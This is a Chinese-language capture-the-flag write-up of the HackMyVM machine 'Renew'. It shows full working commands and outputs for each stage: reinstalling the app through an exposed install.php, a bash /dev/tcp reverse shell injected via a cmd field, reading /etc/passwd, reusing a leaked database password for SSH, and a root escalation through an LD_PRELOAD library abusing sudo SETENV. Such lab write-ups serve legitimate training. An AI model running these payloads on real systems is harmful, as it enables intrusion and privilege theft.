

| Renew_daochunhan

| Renew

| 信息收集

目标:

```
192.168.56.189
```

端口扫描:

```
nmap -Pn -n -p- --min-rate 3000 192.168.56.189
```

```
(daochunhan@kali)-[~]
$ nmap -Pn -n -p- --min-rate 3000 192.168.56.189
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-19 22:41 -0400
Warning: 192.168.56.187 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.56.187
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 54.81 seconds
```

```
nmap -A -Pn -p22,80 192.168.56.189
```

```
(daochunhan@kali)-[~]
$ nmap -A -Pn -p22,80 192.168.56.189
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-20 05:18 -0400
Nmap scan report for 192.168.56.189
Host is up (0.019s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp    open  http      Apache httpd 2.4.68 ((Debian))
|_http-server-header: Apache/2.4.68 (Debian)
|_http-title: Maze \xE7\xBD\x91\xE7\xBB\x9C\xE8\xBF\x90\xE7\xBB\xB4\xE5\xB9\xB3\xE5\x8F\xB0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1 19.09 ms 192.168.56.189

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.19 seconds
```

```
22/tcp open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp open  httpd    Apache httpd 2.4.68 ((Debian))
```

80 端口是 Maze 网络运维平台，首页提示"请使用管理员账号登录"，扫一下目录：

```
feroxbuster -u http://192.168.56.189 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html
```

```
(daochunhan@kali)~$ feroxbuster -u http://192.168.56.189 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,txt,html
```

```
by Ben "epi" Risher ver: 2.13.1
```

Target Url	http://192.168.56.189/
In-Scope Url	192.168.56.189
Threads	50
Wordlist	/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
Status Codes	All Status Codes!
Timeout (secs)	7
User-Agent	feroxbuster/2.13.1
Config File	/etc/feroxbuster/ferox-config.toml
Extract Links	true
Extensions	[php, txt, html]
HTTP methods	[GET]
Recursion Depth	4

```
Press [ENTER] to use the Scan Management Menu™
```

```
404 GET 91 32w 316c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 91 29w 319c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 01 0w 0c http://192.168.56.189/logout.php => login.php
200 GET 01 0w 0c http://192.168.56.189/config.php
200 GET 311 63w 1403c http://192.168.56.189/login.php
200 GET 231 40w 1005c http://192.168.56.189/index.php
200 GET 231 40w 1005c http://192.168.56.189/
200 GET 521 105w 2313c http://192.168.56.189/install.php
200 GET 11 0w 1c http://192.168.56.189/file.php
302 GET 01 0w 0c http://192.168.56.189/dashboard.php => login.php
200 GET 01 0w 0c http://192.168.56.189/bak.php
[#####] - 3m 172036/172036 0s found:9 errors:1
[#####] - 3m 172032/172032 880/s http://192.168.56.189/
```

发现 `/install.php`

| install.php 重装

系统安装向导

填写数据库信息与管理员账号,完成系统安装。该操作会覆盖现有配置。

数据库主机

端口

数据库名

数据库用户名

数据库密码

管理员用户名

管理员密码

开始安装

`install.php` 是完整安装向导,可以重跑覆盖整个应用,应用依赖数据库,本地起一个数据库让靶机远程连上来,安装完成后 `admin` 账号自行指定:

```
# 建一个带密码的 MySQL 账号
sudo systemctl start mariadb
sudo mysql -e "CREATE DATABASE IF NOT EXISTS webapp; CREATE USER IF NOT
EXISTS 'admin'@'%' IDENTIFIED BY '12345678'; GRANT ALL ON webapp.* TO
'admin'@'%';"

# 让 MySQL 接受远程连接
sudo sed -i 's/^bind-address.*/bind-address = 0.0.0.0/'
```

```
/etc/mysql/mariadb.conf.d/50-server.cnf  
sudo systemctl restart mariadb
```

提交安装向导：

系统安装向导

填写数据库信息与管理员账号,完成系统安装。该操作会覆盖现有配置。

数据库主机

端口

数据库名

数据库用户名

数据库密码

管理员用户名

管理员密码

开始安装

安装完成

系统初始化成功

安装完成!管理员账号 **admin** 已创建,数据库配置已写入 config.php。现在可以 [登录后台](#) 了。

RCE (www-data)



登录后台, **dashboard.php** 只有一个"执行系统命令"下拉框 (du/df/who/ps), 尝试 RCE:

```
nc -lvnp 4444
```

```
cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.56.1/4444 0>%261'
```

Request

Pretty Raw Hex

```
1 POST /dashboard.php HTTP/1.1
2 Host: 192.168.56.187
3 Content-Length: 56
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.56.187
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,i
  mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.56.187/dashboard.php
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: zh-CN,zh;q=0.9
13 Cookie: PHPSESSID=5fb257685de8c7a08aad2bcb53891e7d
14 Connection: keep-alive
15
16 cmd=bash -c 'bash -i >%26 /dev/tcp/192.168.56.1/4444 0>%261'|
```

Response

```
(daochunhan@kali)-[~]
$ nc -lvp 4444
Listening on 0.0.0.0 4444
Connection received on 100.77.251.68 52559
bash: cannot set terminal process group (498): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Renew:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Renew:/var/www/html$
```

/var/www/html/ 下翻到 bak.php，数据库配置备份：

```
www-data@Renew:/var/www/html$ ls
ls
bak.php
config.php
dashboard.php
index.php
install.php
login.php
logout.php
www-data@Renew:/var/www/html$ cat bak.php
cat bak.php
<?php
// Database configuration (backup copy, kept by sysadmin)
$db_host = 'localhost';
$db_port = '3306';
$db_user = 'webapp';
$db_pass = 'oQuPn4z0HN60zz3UdyE6';
$db_name = 'webapp';
?>
www-data@Renew:/var/www/html$
```

```
<?php
```

```
// Database configuration (backup copy, kept by sysadmin)
```

```
$db_host = 'localhost';
```

```
$db_port = '3306';
$db_user = 'webapp';
$db_pass = 'oQuPn4z0HN60zz3UdyE6';
$db_name = 'webapp';
?>
```

```
cat /etc/passwd
```

```
www-data@Renew:/var/www/html$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534:./nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:./usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
systemd-timesync:x:991:991:systemd Time Synchronization:./usr/sbin/nologin
messagebus:x:990:990:System Message Bus:/nonexistent:/usr/sbin/nologin
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
mysql:x:101:103:MariaDB Server:/nonexistent:/bin/false
u12138:x:1000:1000:./home/u12138:/bin/bash
www-data@Renew:/var/www/html$ ^C
```

尝试密码复用， **u12138** SSH 密码直接使用了数据库密码：

```
ssh u12138@192.168.56.189 # oQuPn4z0HN60zz3UdyE6
```

```
(daochunhan@kali)-[~]
$ ssh u12138@192.168.56.189
u12138@192.168.56.189's password:
Linux Renew 7.1.6-3-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.1-9.1~trixie (2026-08-05) x86_64

      *
     **
    ***
   ****
  *****
 *****
*****
*****
*****
 *****
  *****
   ****
    ***
     **
      *

 HackMyVM

QQ Group: 321948805

Last login: Thu Aug 20 05:29:20 2026 from 192.168.56.1
u12138@Renew:~$ id
uid=1000(u12138) gid=1000(u12138) groups=1000(u12138)
u12138@Renew:~$ cat user.txt
flag{user-6a9729d94dcd1286a3c932fd2d687c7a}
u12138@Renew:~$
```

root

```
sudo -l
```

```
u12138@Renew:~$ sudo -l
Matching Defaults entries for u12138 on Renew:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User u12138 may run the following commands on Renew:
    (root) SETENV: NOPASSWD: /usr/bin/id
u12138@Renew:~$
```

```
(root) SETENV: NOPASSWD: /usr/bin/id
```

sudoers 里有可执行的命令 (`/usr/bin/id`), 环境变量能穿透, 满足 `sudo LD_PRELOAD` 的两个前提:

- **NOPASSWD**：免密执行 `id`
- **SETENV**：`sudo` 默认会清掉 **LD_PRELOAD** 这类环境变量，**SETENV** 允许它原样穿透给命令

`/usr/bin/id` 以 root 启动，动态链接器先加载 `LD_PRELOAD` 指定的库，库的 `_init()` 在 `main` 之前执行

构造一个构造函数体：


```
cat > evil.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh -p");
}
EOF
```

```
gcc -fPIC -shared -nostartfiles -o evil.so evil.c
sudo LD_PRELOAD=./evil.so /usr/bin/id
```

```
u12138@Renew:~$ gcc -fPIC -shared -nostartfiles -o evil.so evil.c
u12138@Renew:~$ sudo LD_PRELOAD=./evil.so /usr/bin/id
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
flag{root-e723611b23de3b150340a79dd3b63373}
#
```